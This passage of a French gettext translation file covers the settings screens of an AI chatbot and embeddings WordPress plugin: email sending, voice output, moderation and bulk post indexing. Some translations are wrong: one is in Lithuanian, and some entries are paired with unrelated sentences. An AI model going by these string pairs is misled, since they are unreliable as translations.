"Select the text color of the submit button. Default is #55a7e2" msgstr "" "Sélectionnez la couleur du texte du bouton d’envoi. La valeur par défaut est " "#55a7e2" #: res/aiomatic-chatbot.php:965 res/aiomatic-chatbot.php:1814 msgid "Submit Button Text Color:" msgstr "Couleur du texte du bouton d'envoi :" #: res/aiomatic-chatbot.php:973 res/aiomatic-chatbot.php:1573 #: res/aiomatic-main.php:1581 res/aiomatic-main.php:2325 #: res/aiomatic-main.php:2688 res/aiomatic-main.php:2924 #: res/aiomatic-main.php:3252 res/aiomatic-main.php:4131 msgid "Tutorial Video:" msgstr "Tutoriel vidéo :" #: res/aiomatic-chatbot.php:981 msgid "Chatbot Email Extension:" msgstr "Extension Email du Chatbot :" #: res/aiomatic-chatbot.php:988 msgid "" "Enable the ChatBot To Send Emails. Users will be able to ask the chatbot to " "send emails by providing the recipient, email subject and email content. The " "plugin will instruct the chatbot to return the content of the email in a " "specific format, which it will parse and send the email in the chatbot's " "name." msgstr "" "Permettre au ChatBot d'envoyer des courriels. Les utilisateurs pourront " "demander au chatbot d'envoyer des courriels en indiquant le destinataire, " "l'objet et le contenu du courriel. Le plugin demandera au chatbot de " "renvoyer le contenu de l'e-mail dans un format spécifique, qu'il analysera " "et enverra l'e-mail au nom du chatbot." #: res/aiomatic-chatbot.php:992 msgid "Enable The ChatBot To Send Emails:" msgstr "Activez le ChatBot pour qu'il envoie des e-mails :" #: res/aiomatic-chatbot.php:1009 msgid "" "Set the prompt completion to be sent to the AI writer, so it will become " "aware that it can send emails. This prompt will be added to the conversation " "only when the user enteres in the message sent to the AI, any of the " "following keywords: email, e-mail" msgstr "" "Définissez la finalité du prompt à envoyer à l'auteur de l'IA, afin qu'il " "prenne conscience qu'il peut envoyer des courriels. Ce prompt ne sera " "ajoutée à la conversation que si l'utilisateur saisit, dans le message " "envoyé à l'IA, l'un des mots-clés suivants : email, e-mail" #: res/aiomatic-chatbot.php:1013 msgid "AI Writer Prompt For Email Sending Awareness:" msgstr "Éditeur d'IA pour la sensibilisation à l'envoi de mails :" #: res/aiomatic-chatbot.php:1027 msgid "Chatbot Text-to-Speech/Video Options:" msgstr "Options de synthèse vocale et de vidéo du chatbot :" #: res/aiomatic-chatbot.php:1032 msgid "" "You need to enter a ElevenLabs.io API key, D-ID API key or a Google Text-to-" "Speech API key in the 'API Keys' tab and save settings, to use this feature." msgstr "" "Vous devez saisir une clé API ElevenLabs.io, une clé API D-ID ou une clé API " "Google Text-to-Speech dans l'onglet \"Clés API\" et enregistrer les " "paramètres pour utiliser cette fonctionnalité." #: res/aiomatic-chatbot.php:1036 msgid "" "Text-to-Speech is not supported if chatbot 'Instant Responses' are not " "enabled. Please go to the 'Chatbot Settings' tab and enable the 'Enable " "Chatbot Instant Responses' settings field." msgstr "" "La synthèse vocale n'est pas prise en charge si les \"réponses " "instantanées\" du chatbot ne sont pas activées. Veuillez vous rendre dans " "l'onglet \"Paramètres du chatbot\" et activer le champ de paramètres " "\"Activer les réponses instantanées du chatbot\"." #: res/aiomatic-chatbot.php:1042 msgid "Sync ElevenLabs.io Voices:" msgstr "Synchroniser les voix de ElevenLabs.io :" #: res/aiomatic-chatbot.php:1046 msgid "Sync Google Text-to-Speech Voices:" msgstr "Synchroniser les voix de synthèse vocale de Google :" #: res/aiomatic-chatbot.php:1054 msgid "Select if you want to enable chatbot text to speech/video." msgstr "" "Sélectionnez si vous souhaitez activer la synthèse vocale/vidéo du chatbot." #: res/aiomatic-chatbot.php:1058 msgid "Enable Chatbot Text-to-Speech/Video:" msgstr "Activez la synthèse vocale/vidéo du chatbot :" #: res/aiomatic-chatbot.php:1071 res/aiomatic-chatbot.php:1079 #: res/aiomatic-chatbot.php:1087 msgid "Enter API key in Main Settings to enable" msgstr "Saisir la clé API dans les paramètres principaux pour l'activer" #: res/aiomatic-chatbot.php:1098 msgid "" "The URL of the source image to be animated by the driver video, or a " "selection from the list of provided studio actors." msgstr "" "L'URL de l'image source à animer par la vidéo du pilote, ou une sélection " "dans la liste des acteurs de studio fournis." #: res/aiomatic-chatbot.php:1102 msgid "Actor Source Image URL:" msgstr "Acteur Source de l'image URL :" #: res/aiomatic-chatbot.php:1138 msgid "" "Select a voice you want to use for your video chatbot. You can add voices in " "the following format: voice_provider:voice_name:voice_config - available " "voices lists:" msgstr "" "Sélectionnez une voix que vous souhaitez utiliser pour votre chatbot vidéo. " "Vous pouvez ajouter des voix dans le format suivant : voice_provider:" "voice_name:voice_config - listes des voix disponibles :" #: res/aiomatic-chatbot.php:1143 res/aiomatic-chatbot.php:1374 msgid "Select a Voice:" msgstr "Sélectionnez une voix :" #: res/aiomatic-chatbot.php:1370 msgid "Select a voice you want to use for your chatbot." msgstr "Sélectionnez la voix que vous souhaitez utiliser pour votre chatbot." #: res/aiomatic-chatbot.php:1383 res/aiomatic-chatbot.php:1494 msgid "Failed to list voices!" msgstr "La liste des voix a échoué !" #: res/aiomatic-chatbot.php:1401 msgid "Select a the language of the chosen voice." msgstr "Sélectionnez la langue de la voix choisie." #: res/aiomatic-chatbot.php:1405 msgid "Voice Language:" msgstr "Langue de la voix :" #: res/aiomatic-chatbot.php:1481 msgid "Select a the name of the chosen voice." msgstr "Sélectionnez le nom de la voix choisie." #: res/aiomatic-chatbot.php:1485 msgid "Voice Name:" msgstr "Nom de la voix :" #: res/aiomatic-chatbot.php:1512 msgid "Select a the Audio Device Profile of the chosen voice." msgstr "Sélectionnez un profil de périphérique audio pour la voix choisie." #: res/aiomatic-chatbot.php:1516 msgid "Audio Device Profile:" msgstr "Profil de périphérique audio :" #: res/aiomatic-chatbot.php:1523 res/aiomatic-embeddings.php:615 #: res/aiomatic-embeddings.php:635 res/aiomatic-spinner-list.php:2786 #: res/aiomatic-spinner-list.php:2818 msgid "Default" msgstr "Par défaut" #: res/aiomatic-chatbot.php:1524 msgid "Smart watch or wearable" msgstr "Montre intelligente ou objet portable" #: res/aiomatic-chatbot.php:1525 msgid "Smartphone" msgstr "Smartphone" #: res/aiomatic-chatbot.php:1526 msgid "Headphones or earbuds" msgstr "Casque ou écouteurs" #: res/aiomatic-chatbot.php:1527 msgid "Small home speaker" msgstr "Petit haut-parleur de salon" #: res/aiomatic-chatbot.php:1528 msgid "Smart home speaker" msgstr "Haut-parleur intelligent pour la maison" #: res/aiomatic-chatbot.php:1529 msgid "Home entertainment system or smart TV" msgstr "Système de divertissement à domicile ou smart TV" #: res/aiomatic-chatbot.php:1530 msgid "Car speaker" msgstr "Haut-parleur de voiture" #: res/aiomatic-chatbot.php:1531 msgid "Interactive Voice Response (IVR) system" msgstr "Système de réponse vocale interactif (SVI)" #: res/aiomatic-chatbot.php:1546 msgid "" "Select a the Voice Speed of the chosen voice. Speaking rate/speed, in the " "range [0.25, 4.0]. 1.0 is the normal native speed supported by the specific " "voice. 2.0 is twice as fast, and 0.5 is half as fast. If unset(0.0), " "defaults to the native 1.0 speed. Any other values < 0.25 or > 4.0 will " "return an error." msgstr "" "Sélectionnez la vitesse de la voix choisie. Vitesse d'élocution, dans la " "plage [0,25, 4,0]. 1.0 est la vitesse native normale supportée par la voix " "spécifique. 2.0 est deux fois plus rapide, et 0.5 est deux fois moins " "rapide. Si unset(0.0), la valeur par défaut est la vitesse native de 1.0. " "Toute autre valeur < 0,25 ou > 4,0 entraînera une erreur." #: res/aiomatic-chatbot.php:1550 msgid "Voice Speed:" msgstr "Vitesse de la voix :" #: res/aiomatic-chatbot.php:1562 msgid "" "Select a the Voice Pitch of the chosen voice. Speaking pitch, in the range " "[-20.0, 20.0]. 20 means increase 20 semitones from the original pitch. -20 " "means decrease 20 semitones from the original pitch." msgstr "" "Sélectionnez une Tonalité de la voix choisie. Tonalité parlée, dans la plage " "[-20.0, 20.0]. 20 signifie une augmentation de 20 demi-tons par rapport à la " "tonalité d'origine. -20 signifie une diminution de 20 demi-tons par rapport " "à la hauteur originale." #: res/aiomatic-chatbot.php:1566 msgid "Voice Pitch:" msgstr "Hauteur de la voix :" #: res/aiomatic-chatbot.php:1584 msgid "AI Chatbot Default Styling Options:" msgstr "IA Chatbot Options de style par défaut :" #: res/aiomatic-chatbot.php:1826 msgid "AI Chatbot Moderation Options:" msgstr "Options de modération du chatbot IA :" #: res/aiomatic-chatbot.php:1833 msgid "Select if you want to enable chatbot moderation" msgstr "Sélectionnez si vous souhaitez activer la modération du chatbot" #: res/aiomatic-chatbot.php:1837 msgid "Enable User Message Moderation:" msgstr "Activer la modération des Articles utilisateur :" #: res/aiomatic-chatbot.php:1852 msgid "Select the AI model you want to use for moderation." msgstr "" "Sélectionnez le modèle d’IA que vous souhaitez utiliser pour la modération." #: res/aiomatic-chatbot.php:1856 msgid "AI Moderation Model:" msgstr "Modèle de modération de l’IA :" #: res/aiomatic-chatbot.php:1873 msgid "" "Select the message which will appear to users when their input is flagged." msgstr "" "Sélectionnez l'article qui apparaîtra aux utilisateurs lorsque leur entrée " "sera marquée." #: res/aiomatic-chatbot.php:1877 msgid "Flagged Text Message:" msgstr "Message texte marquée :" #: res/aiomatic-chatbot.php:1891 msgid "AI Chatbot Settings:" msgstr "Paramètres du chatbot d'IA :" #: res/aiomatic-chatbot.php:1898 msgid "" "Select if you want to allow the chatbot to send HTML responses and the " "plugin to execute and parse these HTML responses." msgstr "" "Sélectionnez si vous voulez permettre au chatbot d'envoyer des réponses HTML " "et au plugin d'exécuter et d'analyser ces réponses HTML." #: res/aiomatic-chatbot.php:1902 msgid "Enable Chatbot HTML Responses:" msgstr "Activer les réponses HTML du Chatbot :" #: res/aiomatic-chatbot.php:1917 msgid "" "Select if you want to remove JavaScript code from the chatbot's HTML " "responses." msgstr "" "Sélectionnez si vous souhaitez supprimer le code JavaScript des réponses " "HTML du chatbot." #: res/aiomatic-chatbot.php:1921 msgid "Strip JavaScript From Chatbot HTML Responses:" msgstr "Supprimez le JavaScript des réponses HTML des chatbots :" #: res/aiomatic-chatbot.php:1936 msgid "" "Select if you want to enable the copying of messages, if users click the " "message bubbles." msgstr "" "Sélectionnez si vous souhaitez activer la copie des messages lorsque les " "utilisateurs cliquent sur les bulles de message." #: res/aiomatic-chatbot.php:1940 msgid "Enable Message Copying By Clicking It:" msgstr "Activez la copie des Messages en cliquant dessus :" #: res/aiomatic-chatbot.php:1955 msgid "" "Select if you want to automatically scroll the window to bottom on new " "messages." msgstr "" "Sélectionnez cette option si vous souhaitez faire défiler automatiquement la " "fenêtre vers le bas sur les nouveaux messages." #: res/aiomatic-chatbot.php:1959 msgid "Scroll To Bottom Of The Form On New Messages:" msgstr "Faites défiler vers le bas du formulaire sur les nouveaux Messages :" #: res/aiomatic-chatbot.php:1974 msgid "" "Select if you want to make the chatbot respond with full text or do you want " "to enable a typing effect, so text will appear gradually. This is also " "required for the text-to-speech feature of the plugin." msgstr "" "Sélectionnez si vous souhaitez que le chatbot réponde en texte intégral ou " "si vous souhaitez activer un effet de frappe, de sorte que le texte " "apparaisse progressivement. Cette option est également nécessaire pour la " "fonction de synthèse vocale du plugin." #: res/aiomatic-chatbot.php:1993 msgid "Select if you want to enable the voice input feature for the chatbot." msgstr "" "Sélectionnez si vous souhaitez activer la fonction de saisie vocale pour le " "chatbot." #: res/aiomatic-chatbot.php:1997 msgid "Enable Chatbot Voice Input:" msgstr "Activer la saisie vocale du chatbot :" #: res/aiomatic-chatbot.php:2068 msgid "AI Image Chatbot Settings:" msgstr "Paramètres du chatbot d'IA :" #: res/aiomatic-chatbot.php:2076 msgid "Select the image size for the AI image chatbot." msgstr "Sélectionnez la taille de l'image pour le chatbot d'images d'IA." #: res/aiomatic-chatbot.php:2080 msgid "AI Image Chatbot Image Size:" msgstr "Taille de l'Image générée par le Chatbot IA :" #: res/aiomatic-chatbot.php:2091 msgid "AI Chatbot Limitations:" msgstr "Limitations du chatbot IA :" #: res/aiomatic-chatbot.php:2098 msgid "" "Set the daily token count for logged in users. Users who are not logged in " "will not be allowed to submit the form. To disable this feature, leave this " "field blank." msgstr "" "Définissez le nombre quotidien de jetons pour les utilisateurs connectés. " "Les utilisateurs qui ne sont pas connectés ne seront pas autorisés à " "soumettre le formulaire. Pour désactiver cette fonctionnalité, laissez ce " "champ vide." #: res/aiomatic-chatbot.php:2102 msgid "User Token Cap Per Day:" msgstr "Plafond de jeton utilisateur par jour :" #: res/aiomatic-chatbot.php:2112 msgid "Set the maximum input length for user messages." msgstr "Définissez la longueur d’entrée maximale des messages utilisateur." #: res/aiomatic-chatbot.php:2116 msgid "Max Input Length (Characters):" msgstr "Longueur maximale de l’entrée (caractères) :" #: res/aiomatic-chatbot.php:2126 msgid "Default API Parameters:" msgstr "Paramètres API par défaut :" #: res/aiomatic-chatbot.php:2134 msgid "Select the model to be used for chatbot." msgstr "Sélectionnez le modèle à utiliser pour le chatbot." #: res/aiomatic-chatbot.php:2138 msgid "Chatbot Model:" msgstr "Modèle de chatbot :" #: res/aiomatic-chatbot.php:2214 msgid "Chatbot Global Injection Settings:" msgstr "Paramètres d’injection globaux du chatbot :" #: res/aiomatic-chatbot.php:2267 msgid "Set the width of the chatbot form embedded. Default is 460px" msgstr "" "Définissez la largeur du formulaire de chatbot intégré. La valeur par défaut " "est 460px" #: res/aiomatic-chatbot.php:2271 msgid "Chatbot Width:" msgstr "Largeur du chatbot :" #: res/aiomatic-chatbot.php:2283 msgid "" "Set a list of URL where to not show the chatbot. You can enter multiple " "URLs, each on a new line." msgstr "" "Définir une liste d'URL où ne pas afficher le chatbot. Vous pouvez saisir " "plusieurs URL, chacune sur une nouvelle ligne." #: res/aiomatic-chatbot.php:2287 msgid "URLs Where To Not Show The Chatbot:" msgstr "URLs où ne pas montrer le Chatbot :" #: res/aiomatic-chatbot.php:2301 msgid "Set a icon which will open the chatbot." msgstr "Définissez une icône qui ouvrira le chatbot." #: res/aiomatic-chatbot.php:2305 msgid "Chatbot Open Icon:" msgstr "Icône d’ouverture du chatbot :" #: res/aiomatic-chatbot.php:2352 msgid "Your Own HTML:" msgstr "Votre propre HTML :" #: res/aiomatic-chatbot.php:2389 msgid "" "Select if you want to enable the persistent chat mode also for not logged in " "users." msgstr "" "Sélectionnez si vous souhaitez activer le mode de chat persistant également " "pour les utilisateurs non connectés." #: res/aiomatic-chatbot.php:2393 msgid "Enable Persistent Chat Also For Not Logged In Users:" msgstr "" "Activez le chat persistant également pour les utilisateurs non connectés :" #: res/aiomatic-chatbot.php:2454 msgid "User Conversation Manager" msgstr "Gestionnaire des conversations des utilisateurs" #: res/aiomatic-chatbot.php:2467 msgid "" "No persistent chat messages found. You can enable this feature if you use " "the following shortcode to add a persistent AI chat to your page: [aiomatic-" "chat-form persistent=\"on\"]" msgstr "" "Aucun message de chat persistant n'a été trouvé. Vous pouvez activer cette " "fonctionnalité si vous utilisez le shortcode suivant pour ajouter un chat IA " "persistant à votre page : [aiomatic-chat-form persistent=\"on\"]" #: res/aiomatic-chatbot.php:2550 msgid "Prev" msgstr "Précédent" #: res/aiomatic-chatbot.php:2559 msgid "Next" msgstr "Suivant" #: res/aiomatic-chatbot.php:2573 msgid "User conversation data has been deleted." msgstr "Les données de conversation de l'utilisateur ont été supprimées." #: res/aiomatic-chatbot.php:2591 msgid "View User Conversation" msgstr "Voir la conversation de l'utilisateur" #: res/aiomatic-chatbot.php:2602 res/aiomatic-chatbot.php:2638 msgid "Back to List" msgstr "Retour à la liste" #: res/aiomatic-chatbot.php:2650 msgid "Chatbot Preview" msgstr "Aperçu du chatbot" #: res/aiomatic-chatbot.php:2657 msgid "" "To add the chat bot to your website, please include the shortcode [aiomatic-" "chat-form] in the desired location on your site." msgstr "" "Pour ajouter le chat bot à votre site web, veuillez inclure le shortcode " "[aiomatic-chat-form] à l'endroit souhaité sur votre site." #: res/aiomatic-embeddings.php:15 msgid "" "You must add a Pinecone API key in the plugin's 'Main Settings' menu (API " "Keys tab), before you can use this feature!" msgstr "" "Vous devez ajouter une clé API Pinecone dans le menu 'Paramètres principaux' " "du plugin (onglet Clés API), avant de pouvoir utiliser cette fonctionnalité!" #: res/aiomatic-embeddings.php:22 msgid "" "You must add a Pinecone index in the plugin's 'Main Settings' menu " "(Embeddings tab), before you can use this feature!" msgstr "" "Vous devez ajouter un index Pinecone dans le menu 'Paramètres principaux' du " "plugin (onglet Embeddings), avant de pouvoir utiliser cette fonctionnalité !" #: res/aiomatic-embeddings.php:29 msgid "Aiomatic Embeddings" msgstr "Embeddings axiomatiques" #: res/aiomatic-embeddings.php:33 res/aiomatic-main.php:589 #: res/aiomatic-training.php:56 msgid "Embeddings" msgstr "Embeddings / Emboîtements" #: res/aiomatic-embeddings.php:35 res/aiomatic-training.php:43 msgid "Step 0: Tutorial" msgstr "Étape 0 : Tutoriel" #: res/aiomatic-embeddings.php:36 msgid "Step 1a: Add A New Embedding" msgstr "Étape 1a : Ajouter un nouveau Embedding" #: res/aiomatic-embeddings.php:37 msgid "Step 1b: Upload Embeddings from CSV" msgstr "" "Étape 1b : Télécharger les encodages / Embeddings à partir d'un fichier CSV" #: res/aiomatic-embeddings.php:38 res/aiomatic-embeddings.php:53 msgid "Step 2: Auto Index Existing Posts" msgstr "Étape 2 : Indexation automatique des messages existants" #: res/aiomatic-embeddings.php:39 res/aiomatic-embeddings.php:54 msgid "Step 3: List Added Embeddings" msgstr "Étape 3 : Dresser la liste des éléments ajoutés" #: res/aiomatic-embeddings.php:43 msgid "What are embeddings in GPT-3?" msgstr "Que sont les embeddings / encastrements dans le GPT-3 ?" #: res/aiomatic-embeddings.php:44 msgid "" "Embeddings are a way to send to the AI content writer a set o pre-trained " "data, to give it more context about the question or prompt which was " "submitted to it, for which a response is awaited. These embeddings can help " "the model better understand language and the requirements sent in the prompt." msgstr "" "Les embeddings sont un moyen d'envoyer à l'IA rédactrice de contenu un " "ensemble de données pré-entraînées, afin de lui donner plus de contexte sur " "la question ou le Prompt qui lui a été soumise et pour laquelle une réponse " "est attendue. Ces embeddings peuvent aider le modèle à mieux comprendre la " "langue et les exigences formulées dans l'invitation." #: res/aiomatic-embeddings.php:45 msgid "" "When creating embeds, it's important to keep in mind to always create a high " "quality data set, as this will help the AI writer to get a more correct " "context." msgstr "" "Lors de la création d'embeds, il est important de garder à l'esprit qu'il " "faut toujours créer un ensemble de données de haute qualité, car cela aidera " "l'auteur de l'IA à obtenir un contexte plus correct." #: res/aiomatic-embeddings.php:46 msgid "" "Lets say you would like to give your AI the ability to answer specific " "questions about your website content, company, product or anything else, but " "you don't want to go through the process of training your own AI model. In " "this case, the Embeddings feature is what you will need. Simply specify your " "statements in the Embeddings section of the plugin and they will be also " "sent to the AI content writer, when needed." msgstr "" "Supposons que vous souhaitiez donner à votre IA la capacité de répondre à " "des questions spécifiques sur le contenu de votre site web, votre " "entreprise, votre produit ou tout autre sujet, mais que vous ne souhaitiez " "pas passer par le processus de formation de votre propre modèle d'IA. Dans " "ce cas, la fonction Embeddings est ce dont vous avez besoin. Il vous suffit " "de spécifier vos déclarations dans la section Embeddings du plugin et elles " "seront également envoyées au rédacteur de contenu de l'IA, si nécessaire." #: res/aiomatic-embeddings.php:47 msgid "" "If you are looking for more complex way to customize the AI content writer " "and to be able to \"teach\" the AI a large set of information (by creating " "your own fine-tuned model), I suggest you check the" msgstr "" "Si vous cherchez un moyen plus complexe de personnaliser le rédacteur de " "contenu de l'IA et de pouvoir \"enseigner\" à l'IA un large ensemble " "d'informations (en créant votre propre modèle affiné), je vous suggère de " "consulter la page" #: res/aiomatic-embeddings.php:47 msgid "feature of the plugin." msgstr "fonctionnalité du plugin." #: res/aiomatic-embeddings.php:48 msgid "More about Embeddings" msgstr "Plus d'informations sur" #: res/aiomatic-embeddings.php:49 msgid "The main steps of creating embeddings are" msgstr "Les principales étapes de la création d'embeddings sont les suivantes" #: res/aiomatic-embeddings.php:50 res/aiomatic-shortcodes.php:113 #: res/aiomatic-training.php:59 msgid "Step 0: Read this tutorial carefully and watch the tutorial video" msgstr "" "Étape 0 : Lisez attentivement ce tutoriel et regardez la vidéo du tutoriel" #: res/aiomatic-embeddings.php:50 res/aiomatic-training.php:59 msgid "be sure to not skip this step! Also, be sure to be clear with" msgstr "ne sautez pas cette étape ! Veillez également à être clair avec" #: res/aiomatic-embeddings.php:50 res/aiomatic-training.php:59 msgid "OpenAI's pricing" msgstr "La tarification d'OpenAI" #: res/aiomatic-embeddings.php:50 msgid "for usage of embeddings." msgstr "pour l'utilisation d'embeddings/encastrements." #: res/aiomatic-embeddings.php:51 msgid "Step 1: Create your data for embeddings" msgstr "" "Sélectionnez le modèle que vous souhaitez utiliser pour les intégrations" #: res/aiomatic-embeddings.php:51 msgid "" "create as many high quality questions and answers as possible, add them on a " "single line, give detailed context. In this case (contrary to AI model " "training) you don't need to create very large amounts of data, it is enough " "to enter just the information which you would like the AI model to learn " "about." msgstr "" "créer autant de questions et de réponses de haute qualité que possible, les " "ajouter sur une seule ligne, donner un contexte détaillé. Dans ce cas " "(contrairement à la formation de modèles d'IA), il n'est pas nécessaire de " "créer de très grandes quantités de données, il suffit de saisir les " "informations que vous souhaitez que le modèle d'IA apprenne." #: res/aiomatic-embeddings.php:53 msgid "" "Using this feature you will be able to automatically create embeddings data " "from the posts you already have published on your site. You can set the " "plugin up to automatically index posts, pages, products or any custom post " "type. Embeddings will be automatically created using their data. You can " "change the template which is used for automatic embeddings creation, from " "the plugin's 'Main Settings' menu -> 'Embeddings' tab -> 'Auto Created " "Embeddings Template' settings field." msgstr "" "Grâce à cette fonctionnalité, vous pourrez créer automatiquement des données " "d'intégration à partir des articles que vous avez déjà publiés sur votre " "site. Vous pouvez configurer le plugin pour qu'il indexe automatiquement les " "articles, les pages, les produits ou tout autre type d'article personnalisé. " "Les embeddings seront automatiquement créés à partir de leurs données. Vous " "pouvez changer le modèle qui est utilisé pour la création automatique des " "embeddings, à partir du menu 'Main Settings' -> 'Embeddings' tab -> 'Auto " "Created Embeddings Template' settings field." #: res/aiomatic-embeddings.php:54 msgid "" "Check and verify added embeddings and manage them to be sure they are " "correct." msgstr "" "Contrôler et vérifier les éléments ajoutés et les gérer pour s'assurer " "qu'ils sont corrects." #: res/aiomatic-embeddings.php:56 res/aiomatic-shortcodes.php:120 #: res/aiomatic-training.php:77 msgid "Tutorial Video" msgstr "Tutoriel vidéo" #: res/aiomatic-embeddings.php:64 msgid "Embedding saved successfully" msgstr "Embedding sauvegardé avec succès" #: res/aiomatic-embeddings.php:66 msgid "Add a new embedding:" msgstr "Ajouter un nouvel embedding/encastrement :" #: res/aiomatic-embeddings.php:74 msgid "Sync Embeddings" msgstr "Sync Embeddings" #: res/aiomatic-embeddings.php:75 msgid "Delete Selected Embeddings" msgstr "Supprimer les emboîtements / Embeddings sélectionnés" #: res/aiomatic-embeddings.php:76 msgid "Delete All Embeddings" msgstr "Supprimer tous les ancrages / Embeddings" #: res/aiomatic-embeddings.php:77 msgid "Download to CSV" msgstr "Parsiųsti į CSV" #: res/aiomatic-embeddings.php:88 msgid "All embeddings" msgstr "Tous les encastrements/Embeddings" #: res/aiomatic-embeddings.php:96 res/aiomatic-limits-statistics.php:83 #: res/aiomatic-limits-statistics.php:1085 #: res/aiomatic-limits-statistics.php:1252 #: res/aiomatic-limits-statistics.php:1486 msgid "Tokens" msgstr "Jetons" #: res/aiomatic-embeddings.php:97 msgid "Estimated" msgstr "Estimé" #: res/aiomatic-embeddings.php:98 res/aiomatic-embeddings.php:636 #: res/aiomatic-embeddings.php:641 res/aiomatic-shortcodes.php:465 #: res/aiomatic-spinner-list.php:2823 res/aiomatic-spinner-list.php:2848 msgid "Date" msgstr "Date" #: res/aiomatic-embeddings.php:99 res/aiomatic-embeddings.php:115 #: res/aiomatic-shortcodes.php:468 msgid "Manage" msgstr "Gérer" #: res/aiomatic-embeddings.php:116 res/aiomatic-shortcodes.php:495 #: res/aiomatic-training.php:424 res/aiomatic-training.php:518 msgid "Delete" msgstr "Supprimer" #: res/aiomatic-embeddings.php:144 res/aiomatic-training.php:91 msgid "Upload New File" msgstr "Télécharger nouveau fichier" #: res/aiomatic-embeddings.php:149 msgid "Dataset (*.csv)" msgstr "Jeu de données (*.csv)" #: res/aiomatic-embeddings.php:156 msgid "File uploaded successfully." msgstr "Intégration enregistrée avec succès." #: res/aiomatic-embeddings.php:157 res/aiomatic-shortcodes.php:368 #: res/aiomatic-training.php:133 msgid "Uploading" msgstr "Chargement en cours" #: res/aiomatic-embeddings.php:163 msgid "Upload" msgstr "Envoyer" #: res/aiomatic-embeddings.php:164 res/aiomatic-shortcodes.php:377 msgid "Maximum upload file size" msgstr "Taille maximale du fichier mis en ligne" #: res/aiomatic-embeddings.php:168 res/aiomatic-training.php:144 msgid "(Please increase this value if you want to upload larger datasets)" msgstr "" "(Veuillez augmenter cette valeur si vous souhaitez télécharger des ensembles " "de données plus importants)" #: res/aiomatic-embeddings.php:172 msgid "" "The csv file should contain the embeddings data on the first column, each " "new data on a different row" msgstr "" "Le fichier csv doit contenir les données d'intégration sur la première " "colonne, chaque nouvelle donnée sur une ligne différente" #: res/aiomatic-embeddings.php:185 res/aiomatic-spinner-list.php:2195 msgid "Existing Content Editor:" msgstr "Éditeur de contenu existant :" #: res/aiomatic-embeddings.php:186 msgid "" "Bulk embedding creation might consume a large number of AI model tokens to " "complete! Be sure you check" msgstr "" "La création d'une intégration en masse peut nécessiter un grand nombre de " "jetons de modèle d'IA ! Veillez à vérifier" #: res/aiomatic-embeddings.php:186 res/aiomatic-spinner-list.php:2196 msgid "token pricing" msgstr "prix des jetons" #: res/aiomatic-embeddings.php:186 msgid "before you continue. You can filter which posts you need to be indexed." msgstr "avant de continuer. Vous pouvez filtrer les articles à indexer." #: res/aiomatic-embeddings.php:191 res/aiomatic-spinner-list.php:2201 msgid "" "INFO: You can change the way the posts are edited by changing settings in " "the 'Editing Templates and Options' tab from above! Also, be sure to save " "settings before running bulk post editing!" msgstr "" "INFO : Vous pouvez modifier la façon dont les messages sont édités en " "changeant les paramètres dans l'onglet \"Modèles d'édition et options\" ci-" "dessus ! Veillez également à sauvegarder les paramètres avant de procéder à " "l'édition en vrac des messages !" #: res/aiomatic-embeddings.php:200 res/aiomatic-spinner-list.php:2210 msgid "" "Do you want to run manual post editing, now? Please check configuration from " "below before clicking 'Run Post Editing'." msgstr "" "Voulez-vous lancer l'édition manuelle des messages maintenant ? Veuillez " "vérifier la configuration ci-dessous avant de cliquer sur \"Exécuter " "l'édition d'article\"." #: res/aiomatic-embeddings.php:204 res/aiomatic-spinner-list.php:2214 msgid "Manually Run Post Editing Now:" msgstr "Exécuter manuellement le post-traitement maintenant :" #: res/aiomatic-embeddings.php:213 res/aiomatic-spinner-list.php:2223 msgid "Run Post Editing" msgstr "Exécuter le post-édition" #: res/aiomatic-embeddings.php:223 res/aiomatic-spinner-list.php:2356 msgid "Bulk AI Editing Settings:" msgstr "Paramètres d’édition IA en vrac :" #: res/aiomatic-embeddings.php:232 res/aiomatic-spinner-list.php:2365 msgid "Set the maximum number of posts to be processed at each run." msgstr "Définissez le nombre maximal d'articles à traiter à chaque exécution." #: res/aiomatic-embeddings.php:236 res/aiomatic-spinner-list.php:2369 msgid "Maximum Number Of Posts To Process:" msgstr "Nombre maximum de Articles à traiter :" #: res/aiomatic-embeddings.php:251 msgid "" "Select if you want to reindex all posts (also the ones which are already " "indexed)." msgstr "" "Sélectionnez si vous souhaitez réindexer tous les articles (y compris ceux " "qui sont déjà indexés)." #: res/aiomatic-embeddings.php:255 msgid "Reindex Every Post:" msgstr "Réindexer chaque message :" #: res/aiomatic-embeddings.php:274 res/aiomatic-spinner-list.php:2429 msgid "Which Posts Should Bulk AI Editing Affect:" msgstr "" "Quels sont les articles qui devraient être affectés par l'édition en vrac de " "l'IA :" #: res/aiomatic-embeddings.php:283 res/aiomatic-spinner-list.php:2438 msgid "" "(int,int,int) - use author id [use minus (-) to exclude authors by ID ex. " "-1,-2,-3]" msgstr "" "(int,int,int) - utiliser l’ID de l’auteur [utiliser moins (-) pour exclure " "les auteurs par ID ex. -1,-2,-3]" #: res/aiomatic-embeddings.php:287 res/aiomatic-spinner-list.php:2442 msgid "Author IDs:" msgstr "ID d’auteur :" #: res/aiomatic-embeddings.php:299 res/aiomatic-spinner-list.php:2454 msgid "(string) - use 'user_nicename' (NOT name)" msgstr "(string) - utiliser 'user_nicename' (PAS nom)" #: res/aiomatic-embeddings.php:303 res/aiomatic-spinner-list.php:2458 msgid "Author Names:" msgstr "Noms des auteurs :" #: res/aiomatic-embeddings.php:315 res/aiomatic-spinner-list.php:2470 msgid "(string,string,string) - use category slugs instead of names. " msgstr "" "(string,string,string) - utilisez des slugs de catégorie au lieu de noms. " #: res/aiomatic-embeddings.php:319 res/aiomatic-spinner-list.php:2474 msgid "Category Names:" msgstr "Noms des catégories :" #: res/aiomatic-embeddings.php:331 res/aiomatic-spinner-list.php:2486 msgid "(string,string,string) - use tag slugs instead of names. " msgstr "" "(string,string,string) - utiliser les slugs des balises au lieu des noms. " #: res/aiomatic-embeddings.php:335 res/aiomatic-spinner-list.php:2490 msgid "Tag Names:" msgstr "Noms des balises / Tags :" #: res/aiomatic-embeddings.php:347 res/aiomatic-spinner-list.php:2502 msgid "Comma separated list of post IDs to edit." msgstr "Liste séparée par des virgules d'identifiants de messages à modifier." #: res/aiomatic-embeddings.php:351 res/aiomatic-spinner-list.php:2506 msgid "Post IDs:" msgstr "ID des articles :" #: res/aiomatic-embeddings.php:363 res/aiomatic-spinner-list.php:2518 msgid "(string) - use post slug." msgstr "(string) - utiliser le nom de l'article." #: res/aiomatic-embeddings.php:367 res/aiomatic-spinner-list.php:2522 msgid "Post Name:" msgstr "Nom de l'article :" #: res/aiomatic-embeddings.php:379 res/aiomatic-spinner-list.php:2534 msgid "(int) - use page id." msgstr "(int) - 